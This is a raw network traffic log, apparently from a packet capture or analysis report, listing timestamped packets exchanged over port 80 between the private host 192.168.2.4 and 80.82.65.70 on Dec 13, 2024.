Dec 13, 2024 01:09:50.238816023 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.238864899 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.239566088 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.239612103 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.239695072 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.239777088 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.240406990 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.240483046 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.240515947 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.240565062 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.241267920 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.241322041 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.241403103 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.241493940 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.242214918 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.242230892 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.242261887 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.242954969 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.243007898 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.243066072 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.243135929 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.243828058 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.243976116 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.244035006 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.244680882 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.244734049 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.244761944 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.244822979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.245507002 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.245579958 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.245615005 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.245663881 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.246365070 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.246450901 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.246479034 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.246531010 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.247211933 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.247262955 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.247339964 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.247385025 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.248065948 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.248131990 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.248164892 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.248213053 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.248929977 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.248969078 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.249064922 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.249118090 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.249773979 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.249810934 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.249869108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.249949932 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.250663996 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.250721931 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.250761986 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.250808954 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.251513004 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.251555920 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.251588106 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.251663923 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.252362967 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.252418041 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.252450943 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.252521038 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.253180027 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.253232956 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.253359079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.253411055 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.254055023 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.254127979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.254159927 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.254312038 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.254904032 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.254976988 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.255003929 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.255067110 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.255760908 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.255825043 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.255887985 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.255940914 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.256608009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.256654978 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.256665945 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.256715059 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.257411957 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.257461071 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.326196909 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.326272964 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.326294899 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.326349020 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.326606989 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.326663971 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.326724052 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.326780081 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.327471972 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.327532053 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.327605963 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.327658892 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.328294039 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.328346014 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.328399897 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.328452110 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.329181910 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.329236031 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.329260111 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.329329967 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.330001116 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.330080032 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.330107927 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.330188036 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.330858946 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.330931902 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.330965996 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.331007957 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.331717968 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.331770897 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.331856012 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.331907034 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.332525015 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.332578897 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.332629919 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.332679033 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.333409071 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.333461046 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.333503962 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.333553076 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.334237099 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.334286928 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.334425926 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.334497929 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.335135937 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.335185051 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.335210085 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.335256100 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.336030006 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.336081028 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.336112976 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.336170912 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.336776018 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.336823940 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.349502087 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.349579096 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.349608898 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.349627018 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.349726915 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.349782944 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.349811077 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.349855900 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.350528002 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.350600004 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.350661993 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.350718021 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.351388931 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.351440907 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.351526022 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.351655960 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.352303982 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.352374077 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.352401018 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.352488995 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.353085995 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.353151083 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.353209972 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.353276968 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.353948116 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.354001045 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.354099989 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.354159117 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.354803085 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.354859114 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.354892015 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.354949951 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.355632067 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.355681896 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.355741978 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.355792046 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.356513977 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.356565952 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.356618881 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.356669903 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.357342958 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.357392073 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.357453108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.357505083 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.358181953 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.358232021 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.358289957 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.358338118 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.359066010 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.359116077 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.359190941 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.359272003 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.359905005 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.359956980 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.359983921 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.360044956 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.427717924 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.427791119 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.427826881 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.427862883 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.428039074 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.428092957 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.428149939 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.428275108 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.428885937 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.428936005 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.429003954 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.429064035 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.429738045 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.429837942 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.429886103 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.430587053 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.430635929 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.430696964 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.431369066 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.431452990 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.431499004 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.431586027 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.431893110 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.432256937 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.432301998 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.432384968 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.432440042 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.433141947 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.433228970 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.433258057 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.433295012 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.433968067 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.434015989 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.434077978 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.434146881 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.434813976 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.434876919 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.434910059 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.434952021 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.435688019 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.435740948 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.435792923 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.435834885 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.436537027 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.436580896 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.436644077 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.436686993 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.437406063 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.437447071 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.437525988 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.437572002 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.438241959 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.438308001 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.438360929 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.438400984 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.439088106 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.439120054 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.439182997 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.439228058 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.439918995 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.440023899 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.440051079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.440095901 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.440819025 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.440866947 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.440944910 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.440980911 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.441652060 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.441694021 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.441767931 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.441843033 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.442502975 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.442563057 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.442595005 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.442734003 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.443356037 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.443414927 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.443458080 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.443511009 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.444214106 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.444261074 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.444339037 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.444382906 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.445055962 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.445183992 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.445211887 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.445267916 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.445966005 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.446012974 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.446090937 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.446165085 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.446774960 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.446830988 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.446868896 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.446919918 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.447603941 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.447658062 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.447776079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.447824001 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.448482037 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.448532104 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.448565960 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.448611975 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.449311018 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.449367046 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.449393034 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.449433088 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.518075943 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.518141031 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.518326044 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.518464088 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.518486977 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.518562078 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.518584967 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.518627882 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.519299984 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.519355059 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.519412994 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.519464970 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.520137072 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.520203114 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.520246029 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.520296097 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.521037102 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.521089077 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.521122932 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.521172047 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.521830082 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.521954060 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.522005081 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.522697926 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.522758961 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.522793055 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.523370981 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.523612976 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.523662090 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.523705959 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.523772001 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.524431944 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.524585962 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.524630070 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.525299072 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.525391102 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.525439978 CET	49731	80	192.168.2.4	80.82.65.70
